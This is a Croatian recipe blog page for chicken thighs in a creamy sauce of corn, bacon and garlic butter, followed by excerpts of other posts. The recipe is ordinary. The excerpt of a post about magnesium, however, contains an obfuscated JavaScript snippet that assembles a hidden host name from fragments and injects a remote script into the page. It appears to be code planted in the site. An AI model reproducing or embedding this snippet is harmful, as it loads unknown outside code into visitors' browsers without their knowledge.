PILETINA U KREMASTOM UMAKU OD KUKURUZA, SLANINE I ČEŠNJAKA 🌽 🐔




Piletina u kremastom umaku od kukuruza, slanine i češnjaka 



Piletina u kremastom umaku od kukuruza, slanine i češnjaka odličan je i jednostavan izbor za ukusan i kremast obiteljski ručak ili večeru tijekom tjedna. Sočni pileći zabatci s hrskavom slaninom, slatkim kukuruzom i maslacem s češnjakom i svježim timijanom spajaju se u bogato i aromatično jelo koje nije teško pripremiti.




Piletina u kremastom umaku od kukuruza, slanine i češnjaka 


Sastojci:

  • 50 g maslaca, narezanog na komadiće i omekšanog na sobnoj temperaturi
  • 2 češnja češnjaka, protisnuta
  • 2 čajne žličice nasjeckanih svježih listića timijana
  • 2 čajne žličice maslinova ulja
  • 6 pilećih zabataka s kožom i kostima
  • 6 krišaka slanine, grubo nasjeckanih
  • 1 luk, sitno nasjeckan
  • 2 stabljike celera, narezane
  • 4 klipa kukuruza, samo zrna
  • 300 ml vrhnja za kuhanje
  • 180 ml pilećeg temeljca
  • 250 g smrznutog boba, odmrznutog i očišćenog od kožice
  • listovi rikule, za posluživanje



Priprema:

  1. U zdjelici pomiješajte omekšali maslac, protisnuti češnjak i timijan. Vilicom sve dobro izgnječite i sjedinite. Smjesu prebacite na komad papira za pečenje, oblikujte u valjak i čvrsto zamotajte. Stavite u hladnjak.
  2. U velikoj dubokoj tavi zagrijte maslinovo ulje na srednje jakoj vatri. Stavite polovicu piletine u tavu tako da je koža okrenuta prema dolje. Pecite oko 5 minuta, odnosno dok koža ne poprimi lijepu zlatnosmeđu boju. Okrenite meso i pecite još 1 minutu, zatim ga prebacite na tanjur. Ponovite postupak s ostatkom piletine.
  3. U istu tavu dodajte nasjeckanu slaninu i pržite je oko 3 minute uz povremeno miješanje, dok ne postane zlatnosmeđa i hrskava. Prebacite je na tanjur s piletinom.
  4. Smanjite temperaturu na srednju i iz tave uklonite višak masnoće, ostavljajući oko 2 žlice. Dodajte nasjeckani luk i celer te pirjajte oko 5 minuta, uz povremeno miješanje, dok ne omekšaju.
  5. Umiješajte kukuruz, vrhnje za kuhanje i pileći temeljac.
  6. Umiješajte prženu slaninu. Zatim vratite piletinu u tavu, s kožom okrenutom prema gore. Pustite da umak zavrije, potom smanjite temperaturu na srednje nisku.
  7. Kuhajte oko 30 minuta, odnosno dok piletina ne bude potpuno pečena, a umak se lagano ne reducira i zgusne. U posljednjih 10 minuta kuhanja dodajte očišćeni bob.
  8. Maknite tavu s vatre. Ohlađeni maslac s češnjakom narežite na kolutiće i rasporedite po piletini. Pustite nekoliko trenutaka da se otopi i obogati umak svojim okusima.
  9. Piletinu poslužite odmah, uz svježu rikulu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više